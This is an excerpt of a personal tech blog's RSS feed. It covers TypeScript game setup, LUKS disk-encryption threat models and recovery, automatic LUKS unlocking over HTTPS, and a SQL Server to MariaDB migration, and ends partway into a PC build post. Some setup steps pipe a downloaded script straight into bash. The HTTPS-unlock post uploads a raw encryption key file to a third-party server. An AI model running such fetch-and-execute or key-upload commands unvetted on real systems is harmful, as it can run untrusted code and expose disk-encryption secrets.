      <content:encoded><![CDATA[<p>In my <a href="https://tqdev.com/2023-writing-games-in-typescript">last post</a> I&rsquo;ve told
you about how I&rsquo;m writing (simple) games in TypeScript. In this post I&rsquo;ll share
the source code of a Simple TicTacToe game I rewrote in TypeScript. I&rsquo;m using
Visual Studio Code and the TypeScript plugin. I&rsquo;m working on Linux, but on
Windows you should be able to use the same instructions within the WSL2
environment.</p>
<h3 id="quick-start">Quick start</h3>
<p>Type the following commands to get started:</p>
<pre><code>git clone git@github.com:mevdschee/typescript-tictactoe.git
cd typescript-tictactoe
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash
nvm install node
npm install
npm run dev
</code></pre>
<p>Now use Visual Studio Code (with the TypeScript extension) to edit the content
and see how the code is recompiled and the browser is reloaded when the code is
saved.</p>
<h3 id="requirejs">RequireJS</h3>
<p>I&rsquo;ve chosen to compile all TypeScript modules into one single JavaScript file
(AMD format) and RequireJS to load the Javascript. I like the idea of all code
being in a single Javascript file. Same goes for my sprites: I like to combine
them in some form of spritemap (either SVG or PNG). I don&rsquo;t think that it is
really needed as fetching extra resources is less expensive in newer HTTP
protocols. Note that RequireJS loads it&rsquo;s modules after the document is loaded,
so don&rsquo;t wait for a document or window &ldquo;load&rdquo; event.</p>
<h3 id="starter-project">Starter project</h3>
<p>By implementing TicTacToe I tried to make a small starter project for your/my
own games. By cloning this starter you should be able to create more complex
games. Check out <a href="https://www.acecardgames.com/">AceCardGames.com</a> to get an
idea of what you could be building and clone this project to get creative with
your own ideas and designs.</p>
<p>Source:
<a href="https://github.com/mevdschee/typescript-tictactoe">https://github.com/mevdschee/typescript-tictactoe</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Writing games in TypeScript</title>
      <link>https://www.tqdev.com/2023-writing-games-in-typescript/</link>
      <pubDate>Wed, 30 Aug 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-writing-games-in-typescript/</guid>
      <description>&lt;p&gt;I loved programming in Actionscript (for Flash) and I have tried Haxe and other
languages when Flash was widely abandoned. I felt JavaScript was lacking
features for better structural programming. Typescript and Visual Studio Code
provide a great development experience for creating (well performing)
cross-platform games. I have rewritten my
&lt;a href=&#34;https://www.acecardgames.com/&#34;&gt;AceCardGames.com&lt;/a&gt; solitaire card games in
TypeScript. In this post I will share my development setup and some of my
lessons learned.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I loved programming in Actionscript (for Flash) and I have tried Haxe and other
languages when Flash was widely abandoned. I felt JavaScript was lacking
features for better structural programming. Typescript and Visual Studio Code
provide a great development experience for creating (well performing)
cross-platform games. I have rewritten my
<a href="https://www.acecardgames.com/">AceCardGames.com</a> solitaire card games in
TypeScript. In this post I will share my development setup and some of my
lessons learned.</p>
<h3 id="canvas-or-dom">Canvas or DOM?</h3>
<p>Although one can create Canvas based games, one can also create DOM based games
(as I did). This is especially suitable for board games as these tend to have a
fairly static layout. The advantage of DOM based games is that your sprites can
move over and under each other by means of the &ldquo;z-index&rdquo;, without having to do
programmatic redraws. I also like the SVG support and that I can create my
graphics using either Inkscape or hand-written SVG.</p>
<h3 id="history">History</h3>
<p><a href="https://www.acecardgames.com/">AceCardGames.com</a> is a hobby project of mine
that is online since 2003 and offers a collection of 12 solitaire card games. I
originally wrote the games in ActionScript 2 (Flash MX) for the Motion-Twin
ActionScript Compiler (MTASC). In 2009 I rewrote the games in ActionScript 3 for
the Flex 3 open source SDK. In 2017 I rewrote the games again in JavaScript and
Scalable Vector Graphics (SVG). And now in 2023 I am rewriting the JavaScript
code in TypeScript.</p>
<h3 id="ide-and-typescript-compiler">IDE and TypeScript compiler</h3>
<p>I&rsquo;ve installed the TypeScript compiler using
<a href="https://github.com/nvm-sh/nvm">&ldquo;nvm&rdquo; (Node Version Manager)</a>:</p>
<pre><code>curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash
nvm install node
npm install typescript live-server
</code></pre>
<p>I use the following file and folder structure:</p>
<ul>
<li>tsconfig.json: TypeScript compiler configuration</li>
<li>package.json: package configuration, dependency management</li>
<li>src/index.ts: TypeScript entry point for the game</li>
<li>src/*.ts: for the other (exported) TypeScript source code</li>
<li>web/index.html: the HTML file serving the game</li>
<li>web/js/*: JavaScript files used by the HTML (including the compiled output)</li>
<li>web/uploads/*: images used by the game</li>
</ul>
<p>To run the compiler I typed:</p>
<pre><code>node_modules/typescript/bin/tsc -w
</code></pre>
<p>To run the live server I ran:</p>
<pre><code>node_modules/live-server/live-server.js --mount=/src:src web
</code></pre>
<p>I have found that this command can be configured in &ldquo;scripts&rdquo; section of the
&ldquo;package.json&rdquo;. I have also configured the &ldquo;tsconfig.json&rdquo; using:</p>
<pre><code>{
  &quot;compilerOptions&quot;: {
    &quot;strict&quot;: true,
    &quot;sourceMap&quot;: true,
    &quot;target&quot;: &quot;ES5&quot;,
    &quot;module&quot;: &quot;AMD&quot;,
    &quot;outFile&quot;: &quot;web/js/solitaire.js&quot;,
  },
  &quot;compileOnSave&quot;: true
}
</code></pre>
<p>And loaded the <a href="https://requirejs.org/">&ldquo;require.js&rdquo; library</a>, finally having to
just add one line to my HTML to get started:</p>
<pre><code>&lt;script type=&quot;text/javascript&quot;&gt;require([&quot;index&quot;]);&lt;/script&gt;
</code></pre>
<p>Corresponding to the startup code in the &ldquo;index.ts&rdquo; file in the &ldquo;src&rdquo; directory.
I have found that Visual Studio Code and it&rsquo;s
<a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-typescript-next">TypeScript extension</a>
by Microsoft provides a very nice developer experience.</p>
<h3 id="circular-dependencies">Circular dependencies</h3>
<p>I use the factory pattern with an abstract base class with a static create
function returning a class extending the base class. The Typescript compiler
gave the following cryptic error message:</p>
<pre><code>TypeError: Class extends value undefined is not a function or null
</code></pre>
<p>According to
<a href="https://stackoverflow.com/questions/43176006/typeerror-class-extends-value-undefined-is-not-a-function-or-null">this StackOverflow post</a>
the error is caused by a circular dependency. The classes extend the base class
and the base class imports the classes to call their constructor in the static
create method.</p>
<blockquote>
<p>I&rsquo;m running into the same problem. The Factory Pattern is causing a circular
reference. It seems that moving the factory to another file (and not a static
method inside of a class that gets inherited) is the way to go. –
<a href="https://stackoverflow.com/questions/37312197/node-js-v6-2-0-class-extends-is-not-a-function-error/37312355#37312355">Johnny Oshika</a></p></blockquote>
<p>This pattern is quite common and the error was not very descriptive. According
to
<a href="https://medium.com/visual-development/how-to-fix-nasty-circular-dependency-issues-once-and-for-all-in-javascript-typescript-a04c987cf0de">this Medium post</a>
you can fix the problem by adding all classes to the same typescript file (in
different ways), but most people suggest to avoid circular dependencies, which
is what I&rsquo;ve chosen to do.</p>
<h3 id="getting-started">Getting started?</h3>
<p>Do you want to start writing your own games? Check out my next post:
<a href="https://tqdev.com/2023-tictactoe-in-typescript">TicTacToe in TypeScript</a>, which
can serve as a simple starter project. You can find the source code of the
starter project on my Github account:</p>
<p>Source:
<a href="https://github.com/mevdschee/typescript-tictactoe">https://github.com/mevdschee/typescript-tictactoe</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.acecardgames.com/">AceCardGames.com - Online solitaire card games</a></li>
<li><a href="https://tqdev.com/2023-tictactoe-in-typescript">TQdev.com - TicTacToe in TypeScript</a></li>
<li><a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-typescript-next">Microsoft - Visual Studio Code extension: JavaScript and TypeScript Nightly</a></li>
<li><a href="https://stackoverflow.com/questions/43176006/typeerror-class-extends-value-undefined-is-not-a-function-or-null">StackOverflow - TypeError: Class extends value undefined is not a function or null</a></li>
<li><a href="https://stackoverflow.com/questions/37312197/node-js-v6-2-0-class-extends-is-not-a-function-error/37312355#37312355">StackOverflow - Node.js v6.2.0 class extends is not a function error?</a></li>
<li><a href="https://medium.com/visual-development/how-to-fix-nasty-circular-dependency-issues-once-and-for-all-in-javascript-typescript-a04c987cf0de">Medium - How to fix nasty circular dependency issues once and for all in JavaScript &amp; TypeScript</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>LUKS disk encryption threat models</title>
      <link>https://www.tqdev.com/2023-luks-disk-encryption-threat-models/</link>
      <pubDate>Tue, 18 Jul 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-luks-disk-encryption-threat-models/</guid>
      <description>&lt;p&gt;Any IT security measure must be evaluated in the context of a specific set of
threats with context specific relevance. IT security is much like the security
of the windows of a house. In a bad neighborhood of a city having steel bars in
front of your ground floor windows may be considered required to prevent people
from breaking in, while in the countryside having them would be considered
dangerous as it would prevent you from escaping the house in case of a fire. In
short: no security measure can be evaluated without the context of a set of
threats.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Any IT security measure must be evaluated in the context of a specific set of
threats with context specific relevance. IT security is much like the security
of the windows of a house. In a bad neighborhood of a city having steel bars in
front of your ground floor windows may be considered required to prevent people
from breaking in, while in the countryside having them would be considered
dangerous as it would prevent you from escaping the house in case of a fire. In
short: no security measure can be evaluated without the context of a set of
threats.</p>
<h3 id="threat-modeling">Threat modeling</h3>
<p>The first thing we need to do is list the threats, their likeliness and their
damage. This is also called risk assessment or threat modeling, which OWASP
defines as:</p>
<blockquote>
<p>Threat modeling works to identify, communicate, and understand threats and
mitigations within the context of protecting something of value. -
<a href="https://owasp.org/www-community/Threat_Modeling">OWASP</a></p></blockquote>
<p>I would recommend that you do (frequent) risk assessment sessions to be able to
mitigate the biggest risks.</p>
<h3 id="risk-assessment-how-to">Risk assessment how-to</h3>
<p>In a collaborative session you can let people name all threats first (and write
them all down) only to score them in part 2 of the session, ending in part 3
with some (hopefully simple) action points for mitigation on the highest scoring
risk or risks. A simple way to calculate a risk score would be to rank the
damage from 1-5 (XS,S,M,L,XL) and the likeliness from 1-5 (XS,S,M,L,XL) and
multiply those two numbers. Do strive to mitigate the risks in order, highest
score first. Do these risk assessments frequently as damage and likeliness can
change wildly over time and also your IT landscape may be changing rapidly.</p>
<h3 id="luks-disk-encryption">LUKS disk encryption</h3>
<p>I have written about LUKS unlocking via
<a href="https://tqdev.com/2022-luks-with-usb-unlock">USB</a>,
<a href="https://tqdev.com/2022-luks-with-ssh-unlock">SSH</a> and
<a href="https://tqdev.com/2023-luks-with-https-unlock">HTTPS</a>. Some people argue that
unlocking in certain way is &ldquo;good&rdquo; or &ldquo;bad&rdquo;, but this can simply not be said.
For some companies having their desktop machines unlock over HTTPS may be ideal,
while for the laptops of the same company it may not be an option. Some people
are afraid of disks that break and computers that need repairs, while others are
afraid of break-ins and stolen hardware. Both may require a different unlocking
strategy. Some companies are afraid of spies inside the office and want to
analyze reboot incidents to spot break-in attempts. Some servers in data-centers
benefit from automatic remote unlocking as it minimizes downtime. Some want
their unlock servers in the same data-center, while others want them cross
data-center. Some want keys to be easily rolled over and backed up, others want
keys to never leave the server or even stored non-exportable in a secure key
storage. Some want encrypted root partitions, others encrypted home folders. As
you see security measures are dependent on the context. Unlocking can be done in
many different ways, whether or not the method of unlocking is appropriate
depends on your context. Do a proper risk assessment and find out what method of
disk encryption and unlocking fits your situation.</p>
<h3 id="what-about-compliance">What about compliance?</h3>
<p>In Europe we have the General Data Protection Regulation (GDPR). It requires
that personal information that is transferred is sent over a secure channel and
personal information that is &ldquo;at rest&rdquo; is encrypted. Single or multi-factor
authentication may be required when personal information is accessed. And
authorized access to personal information must be logged and be traceable to an
individual human being. Applying disk encryption with a smart unlocking strategy
might very well enhance your compliance and have a much lower impact than you
were expecting.</p>
<p>If you have questions? Feel free to contact me at: <a href="mailto:maurits@vdschee.nl">maurits@vdschee.nl</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>LUKS recovery from initramfs shell</title>
      <link>https://www.tqdev.com/2023-luks-recovery-from-initramfs-shell/</link>
      <pubDate>Mon, 17 Jul 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-luks-recovery-from-initramfs-shell/</guid>
      <description>&lt;p&gt;When writing LUKS tutorials I often made mistakes preventing my system to boot.
This resulted in a dreadful message saying:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ALERT! /dev/mapper/debian--vg-root does not exist.  Dropping to a shell!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Showing me a BusyBox shell and a prompt that looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BusyBox v1.30.1 (Debian 1:1.30.1-6+b3) built-in shell (ash) 
Enter &#39;help&#39; for a list of built-in commands.

(initramfs)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this post I will describe how to quickly mount your root partition from the
initramfs shell and also how to easily correct bigger problems using Debian&amp;rsquo;s
Rescue mode.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When writing LUKS tutorials I often made mistakes preventing my system to boot.
This resulted in a dreadful message saying:</p>
<pre><code>ALERT! /dev/mapper/debian--vg-root does not exist.  Dropping to a shell!
</code></pre>
<p>Showing me a BusyBox shell and a prompt that looks like this:</p>
<pre><code>BusyBox v1.30.1 (Debian 1:1.30.1-6+b3) built-in shell (ash) 
Enter 'help' for a list of built-in commands.

(initramfs)
</code></pre>
<p>In this post I will describe how to quickly mount your root partition from the
initramfs shell and also how to easily correct bigger problems using Debian&rsquo;s
Rescue mode.</p>
<h3 id="unlocking-from-initramfs-shell">Unlocking from initramfs shell</h3>
<p>If you do end up in the initramfs shell you need to type the following command:</p>
<pre><code>cat /cryptroot/crypttab
</code></pre>
<p>Since the file &ldquo;/etc/crypttab&rdquo; is available as &ldquo;/cryptroot/crypttab&rdquo; in
initramfs it shows something like:</p>
<pre><code>vda5_crypt UUID=eee31528-256c-11ee-990f-b7ff89c85428 none luks,discard
</code></pre>
<p>Now after the mapper device you see a UUID. Take the UUID from the above output
and run:</p>
<pre><code>readlink -f /dev/disk/by-uuid/eee31528-256c-11ee-990f-b7ff89c85428
</code></pre>
<p>You now see the physical device, so somethings like:</p>
<pre><code>/dev/vda5
</code></pre>
<p>Now you can unlock the root partition using the physical device and the mapper
device:</p>
<pre><code>cryptsetup luksOpen /dev/vda5 vda5_crypt
</code></pre>
<p>And now you can type one of the valid passphrases at the prompt:</p>
<pre><code>Enter passphrase for /dev/vda5:
</code></pre>
<p>After this is accepted you need to continue the boot using &ldquo;exit&rdquo;:</p>
<pre><code>exit
</code></pre>
<p>And the system should boot.</p>
<h3 id="using-debian-rescue-mode">Using Debian Rescue mode</h3>
<p>You can boot the Debian 12 (<a href="https://www.debian.org/distrib/netinst">netinst</a>)
install image and it has &ldquo;Advanced options&rdquo; and then &ldquo;Rescue mode&rdquo; as option.
After asking a bunch of simple questions about your language, location, keyboard
and network setup and (temporary) hostname you are asked for the passphrase of
the root device. After that you should choose &ldquo;Yes&rdquo; to also mount the boot
partition. Now the first option is:</p>
<pre><code>Execute a shell in /dev/debian-vg/root
</code></pre>
<p>If you choose that option then all you have to do to correct the misconfigured
&ldquo;<code>/etc/crypttab</code>&rdquo; is:</p>
<pre><code>nano /etc/crypttab
update-initramfs -u
exit
</code></pre>
<p>And the menu is presented again. You can now reboot.</p>
<h3 id="conclusion">Conclusion</h3>
<p>If you make a mistake in your &ldquo;<code>/etc/crypttab</code>&rdquo; or other initramfs configuration
files and you are using LUKS on LVM, then don&rsquo;t worry. Debian&rsquo;s Rescue mode is
very smart and helps you with the otherwise manual steps of LVM2 scanning, LUKS
unlocking, mounting root and boot and mounting proc and sys and binding dev. It
does provide you with a &ldquo;chroot&rdquo;-ed environment so you can easily repair and
regenerate your initramfs configuration, including your LUKS configuration.</p>
<h3 id="related--links">Related / Links</h3>
<ul>
<li><a href="https://www.debian.org/distrib/netinst">Debian.org: Installing Debian via the Internet</a></li>
<li><a href="https://tqdev.com/2023-luks-with-https-unlock">TQdev.com: LUKS with HTTPS unlock</a></li>
<li><a href="https://tqdev.com/2022-luks-with-usb-unlock">TQdev.com: LUKS with USB unlock</a></li>
<li><a href="https://tqdev.com/2022-luks-with-ssh-unlock">TQdev.com: LUKS with SSH unlock</a></li>
<li><a href="https://forums.debian.net/viewtopic.php?t=143279">Debian User Forums: update-initramfs within a chroot</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>LUKS with HTTPS unlock</title>
      <link>https://www.tqdev.com/2023-luks-with-https-unlock/</link>
      <pubDate>Fri, 14 Jul 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-luks-with-https-unlock/</guid>
      <description>&lt;p&gt;I feel that using full disk encryption of servers is a must. Not to protect
against attacks with physical access (to the unencrypted boot loader or
unprotected BIOS), but to avoid leaking data when a disk or computer is either
stolen or replaced. But what do you do when you need to reboot your server and
have no console access to enter the passphrase? This post will explain how you
can make the server run a HTTPS request during the boot process to do automatic
unlocking of the encrypted root partition over the Internet.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I feel that using full disk encryption of servers is a must. Not to protect
against attacks with physical access (to the unencrypted boot loader or
unprotected BIOS), but to avoid leaking data when a disk or computer is either
stolen or replaced. But what do you do when you need to reboot your server and
have no console access to enter the passphrase? This post will explain how you
can make the server run a HTTPS request during the boot process to do automatic
unlocking of the encrypted root partition over the Internet.</p>
<h3 id="manual-installation-instructions">Manual installation instructions</h3>
<p>I have tested the below steps on Ubuntu 22.04 and these are expected to be
correct for any recent Debian based distribution.</p>
<ol>
<li>
<p>Install the &ldquo;uuid&rdquo; tool</p>
<p>sudo apt -y install uuid</p>
</li>
<li>
<p>Create a random key name using the &ldquo;uuid&rdquo; tool:</p>
<p>uuid</p>
</li>
</ol>
<p>will show a random UUID, mine was:</p>
<pre><code>cdbafbaa-21d8-11ee-9186-df2d5ef43f21
</code></pre>
<ol start="3">
<li>
<p>Create a 256 byte key file with random data (.lek = LUKS Encryption Key):</p>
<p>dd if=/dev/urandom bs=1 count=256 &gt; cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek</p>
</li>
</ol>
<p>3a) Find your LUKS encrypted device:</p>
<pre><code>sudo lsblk -l --fs | grep crypto
</code></pre>
<p>Output for me is:</p>
<pre><code>nvme0n1p3         crypto_LUKS 2              eb571eb0-cff6-11ee-b5c9-fbde751daed9
</code></pre>
<p>3b) Check that you have a free slot:</p>
<pre><code>sudo cryptsetup luksDump /dev/nvme0n1p3
</code></pre>
<p>Output should contain slots like:</p>
<pre><code>Keyslots:
</code></pre>
<p>3c) Now add the encryption key to the last empty slot</p>
<pre><code>sudo cryptsetup luksAddKey /dev/nvme0n1p3 cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek
</code></pre>
<p>You need to enter an existing passphrase to add the key. Afterwards you can
re-run the previous command to check that adding the key has succeeded.</p>
<ol start="4">
<li>
<p>Ensure that the packages &ldquo;curl&rdquo;, &ldquo;initramfs-tools&rdquo;, &ldquo;dropbear-initramfs&rdquo; are
installed.</p>
<p>sudo apt -y install curl initramfs-tools dropbear-initramfs</p>
</li>
</ol>
<p>Note that we install &lsquo;dropbear-initramfs&rsquo; to ensure the network is configured.</p>
<ol start="5">
<li>
<p>Store the key on our &ldquo;usbencryptionkey.com&rdquo; webserver:</p>
<p>curl -f -s -F &ldquo;<a href="mailto:keyfile=@cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek">keyfile=@cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek</a>&rdquo;<br>
<a href="https://www.usbencryptionkey.com/register">https://www.usbencryptionkey.com/register</a></p>
</li>
<li>
<p>Now create a hook to install the &ldquo;curl&rdquo; binary in the initramfs image.</p>
<p>sudo nano /usr/share/initramfs-tools/hooks/curl</p>
</li>
</ol>
<p>Paste the following content:</p>
<pre><code>#!/bin/sh -e
PREREQS=&quot;&quot;
case $1 in
    prereqs) echo &quot;${PREREQS}&quot;; exit 0;;
esac
. /usr/share/initramfs-tools/hook-functions
# copy curl binary
copy_exec /usr/bin/curl /bin
# fix DNS lib (needed for Debian 11)
cp -a /usr/lib/x86_64-linux-gnu/libnss_dns* $DESTDIR/usr/lib/x86_64-linux-gnu/
# fix DNS resolver (needed for Debian 11 + 12)
echo &quot;nameserver 1.1.1.1\n&quot; &gt; ${DESTDIR}/etc/resolv.conf
# copy ca-certs for curl
mkdir -p $DESTDIR/usr/share
cp -ar /usr/share/ca-certificates $DESTDIR/usr/share/
cp -ar /etc/ssl $DESTDIR/etc/
</code></pre>
<p>And ensure that the script is executable:</p>
<pre><code>sudo chmod 755 /usr/share/initramfs-tools/hooks/curl
</code></pre>
<ol start="7">
<li>
<p>Now create the keyscript:</p>
<p>sudo nano /bin/luksunlockhttps</p>
</li>
</ol>
<p>Paste the following content:</p>
<pre><code>#!/bin/sh -e
# Wait 10 seconds for DHCP (needed for Debian 11+12)
if [ $CRYPTTAB_TRIED -eq &quot;0&quot; ]; then
  sleep 10
fi
if curl -f --retry-connrefused --retry 5 -F &quot;uuid=$CRYPTTAB_KEY&quot; \
  https://www.usbencryptionkey.com/request; then
  exit
fi
/lib/cryptsetup/askpass &quot;Enter password and press ENTER: &quot;
</code></pre>
<p>Ensure that the keyscript is executable:</p>
<pre><code>sudo chmod 755 /bin/luksunlockhttps
</code></pre>
<ol start="8">
<li>
<p>Now modify the &ldquo;crypttab&rdquo; and replace &ldquo;none luks&rdquo; by
&ldquo;cdbafbaa-21d8-11ee-9186-df2d5ef43f21 luks,keyscript=/bin/luksunlockhttps&rdquo;
using:</p>
<p>sed -i &rsquo;s/none luks/cdbafbaa-21d8-11ee-9186-df2d5ef43f21
luks,keyscript=/bin/luksunlockhttps/g&rsquo; /etc/crypttab</p>
</li>
<li>
<p>Now regenerate the &ldquo;initramfs&rdquo; using:</p>
<p>sudo update-initramfs -u</p>
</li>
</ol>
<p>Reboot and enjoy!</p>
<h3 id="testing">Testing</h3>
<p>I tested with the following installs:</p>
<ul>
<li>Ubuntu 20.04 Server (ubuntu-20.04.6-live-server-amd64.iso)</li>
<li>Ubuntu 22.04 Server (ubuntu-22.04.2-live-server-amd64.iso)</li>
<li>Debian 11 (debian-11.5.0-amd64-netinst.iso)</li>
<li>Debian 12 (debian-12.0.0-amd64-netinst.iso)</li>
<li>Linux Mint 21.1 (linuxmint-21.1-xfce-64bit.iso)</li>
</ul>
<p>This script is not yet ported to RockyLinux 8 &amp; 9. Do you know about Dracut and
want to contribute? Let me know at
<a href="mailto:maurits@vdschee.nl">maurits@vdschee.nl</a>.</p>
<h3 id="the-https-backend">The HTTPS backend</h3>
<p>On the usbencryptionkey.com server the following HTTPS endpoints exist:</p>
<ul>
<li>/register: upload a key file and whitelists the requesting IP address.</li>
<li>/request: requests key file using &lsquo;uuid&rsquo; from a whitelisted IP address.</li>
</ul>
<p>You can also download a shell install script that registers a new key and
re-configures the boot, using:</p>
<pre><code>wget usbencryptionkey.com/install.sh
</code></pre>
<p>The usbencryptionkey.com service is not ready yet, but I have many plans for the
service and the website. Note that you can easily implement you own service.</p>
<h3 id="warning-and-disclaimer">Warning and disclaimer</h3>
<p>The above commands modify the initramfs and errors could result in a system that
does not boot. Although the commands do not delete your data it may be time
consuming to restore access using a rescue image. If you have never updated
initramfs from a chroot when booted from a rescue image then I suggested you
<a href="https://tqdev.com/2023-luks-recovery-from-initramfs-shell">try that first</a>.
And&hellip; make sure that you have backups of all your data.</p>
<h3 id="clevis-and-tang">Clevis and Tang</h3>
<p>If you want even better security you may consider a solution based on Clevis and
Tang that enable automatic unlocking. Upside is that the unlocking server does
not have the keys and the downside is that it is a more complex solution.
Consider your threat model and decide what you want to use. Some interesting
talks about the subject are here:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=Dk6ZuydQt9I">Youtube: Clevis and Tang: securing your secrets at rest (RHEL)</a></li>
<li><a href="https://www.youtube.com/watch?v=v7caQEcB6VU">Youtube: Clevis and tang overcoming the disk unlocking problem (Debian)</a></li>
</ul>
<h3 id="related--links">Related / Links</h3>
<ul>
<li><a href="https://tqdev.com/2023-luks-recovery-from-initramfs-shell">TQdev.com: LUKS recovery from initramfs shell</a></li>
<li><a href="https://tqdev.com/2022-luks-with-usb-unlock">TQdev.com: LUKS with USB unlock</a></li>
<li><a href="https://tqdev.com/2022-luks-with-ssh-unlock">TQdev.com: LUKS with SSH unlock</a></li>
<li><a href="https://github.com/gsauthof/dracut-sshd">Dracut module that integrates the OpenSSH sshd into the initramfs</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Migrating from SQL Server to MariaDB</title>
      <link>https://www.tqdev.com/2023-howto-convert-a-sql-server-database-to-mariadb/</link>
      <pubDate>Sat, 17 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-howto-convert-a-sql-server-database-to-mariadb/</guid>
      <description>&lt;p&gt;I have a .net application that runs on SQL Server that I want to migrate to
MariaDB for licensing reasons. The .net code to query MariaDB looks a lot like
the code to query SQL Server, so that is not much work (mainly search and
replace). Also the SQL queries need adjusting, but I&amp;rsquo;m so much more well-versed
in MariaDB that rewriting the SQL is a joy.&lt;/p&gt;
&lt;p&gt;I use a Debian LAMP server to host the ClickOnce .net application. I use a SSH
tunnel with a private/public key-pair instead of a password to encrypt the
database connection. This allows me to connect remote to the database even
though the database server is not accessible over the Internet (only listens on
localhost).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have a .net application that runs on SQL Server that I want to migrate to
MariaDB for licensing reasons. The .net code to query MariaDB looks a lot like
the code to query SQL Server, so that is not much work (mainly search and
replace). Also the SQL queries need adjusting, but I&rsquo;m so much more well-versed
in MariaDB that rewriting the SQL is a joy.</p>
<p>I use a Debian LAMP server to host the ClickOnce .net application. I use a SSH
tunnel with a private/public key-pair instead of a password to encrypt the
database connection. This allows me to connect remote to the database even
though the database server is not accessible over the Internet (only listens on
localhost).</p>
<p>Relevant Nuget packages:</p>
<ul>
<li><a href="https://www.nuget.org/packages/MySql.Data/">MySql.Data</a></li>
<li><a href="https://www.nuget.org/packages/SSH.NET/">SSH.NET</a></li>
<li><a href="https://www.nuget.org/packages/SshKeyGenerator/">SshKeyGenerator</a></li>
</ul>
<h3 id="code-conversion">Code conversion</h3>
<p>In order to migrate from SQL Server to MariaDB we need to covert the code and
the data. First you need to change the code:</p>
<ul>
<li>Change &ldquo;Microsoft.Data.SqlClient&rdquo; to &ldquo;MySql.Data.MySqlClient&rdquo; and prefix
corresponding classes with &ldquo;My&rdquo; (&ldquo;SqlConnection&rdquo; to &ldquo;MySqlConnection&rdquo; and
&ldquo;SqlCommand&rdquo; to &ldquo;MySqlCommand&rdquo;).</li>
<li>Change the SQL queries from the SQL Server dialect to the MySQL dialect. Note
that table and columns names in Linux installs of MariaDB are case sensitive.</li>
</ul>
<p>This is a lot of work (depending on the number of queries), but I currently have
not found a way to automate this (except for search and replace). Next up is the
data conversion.</p>
<h3 id="data-conversion">Data conversion</h3>
<p>Typically I try not to use commercial tools, but for this job I had to convert
50 databases each with 10 to 100 tables with 3 to 30 fields having a combined
size of 50 gigabyte. Doing this work manually would have costed weeks (if not
months), while with these tools I have completed the task in a few hours. The
tools I used are very easy to install on Windows and have a free demo period.</p>
<ul>
<li>With the &ldquo;Data Transfer&rdquo; option of &ldquo;Navicat Premium 16&rdquo; (commercial product)
convert the database from SQL server to MariaDB.</li>
<li>With the &ldquo;Synchronize&rdquo; option of &ldquo;SQL Examiner 2023&rdquo; (another commercial
product) fine-tune the MariaDB schema to match the SQL server schema.</li>
</ul>
<p>Note that both &ldquo;Navicat Premium 16&rdquo; and &ldquo;SQL Examiner 2023&rdquo; have options to keep
the data (and structure) of your converted database in sync in the period you
are busy converting the code of your application (and testing it).</p>
<h3 id="conclusion">Conclusion</h3>
<p>If you need to migrate from SQL Server to MariaDB then you need to convert the
database structure and automate data synchronization. Commercial tools like
&ldquo;Navicat Premium 16&rdquo; and &ldquo;SQL Examiner 2023&rdquo; can do these two things for you and
since they have a free (fully functional) demo period there is absolutely no
risk in trying them out.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.navicat.com/en/products/navicat-premium">Navicat Premium 16 - A multi-database development tool</a></li>
<li><a href="https://www.sqlaccessories.com/sql-examiner/">SQL Examiner 2023 - Compares and synchronizes database schemas</a></li>
</ul>
<p>Full disclosure: This post is not sponsored in any way (especially not by the
reviewed products &ldquo;Navicat Premium 16&rdquo; and &ldquo;SQL Examiner 2023&rdquo;).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Chieftec IX-03B with AMD 5700G</title>
      <link>https://www.tqdev.com/2023-chieftec-ix-03b-with-amd-5700g/</link>
      <pubDate>Thu, 01 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2023-chieftec-ix-03b-with-amd-5700g/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve built another small form factor PC for office use (and light gaming). This
time I wanted to upgrade my silent but powerful small form factor PC. You can
read about my Antec ISK 110 with and how it&amp;rsquo;s AMD 3400G CPU was limited by the
power supply &lt;a href=&#34;https://tqdev.com/2021-antec-isk-110-with-3400g-using-ctdp&#34;&gt;here&lt;/a&gt;.
The Chieftec IX-03B-OP case is as small as you can go with Mini-ITX.&lt;/p&gt;
&lt;p&gt;
  
    &lt;img src=&#34;https://www.tqdev.com/uploads/2023/chieftec-ix-03b_hu_19735ac26bcb52f3.webp&#34; alt=&#34;Chieftec IX-03B with AMD 5700G&#34;  /&gt;
  
&lt;/p&gt;
&lt;h3 id=&#34;the-chieftec-case&#34;&gt;The Chieftec case&lt;/h3&gt;
&lt;p&gt;The Chieftec IX-03B-OP is smaller than the Antec ISK 110, but it does not have
the 4 front USB ports that the Antec has. In return you get a smaller and easier
to work with case with only 3 cables inside: HDD LED, power switch and power
LED. The case has 2 holes that fit the PicoPSU power jack perfectly. The SATA
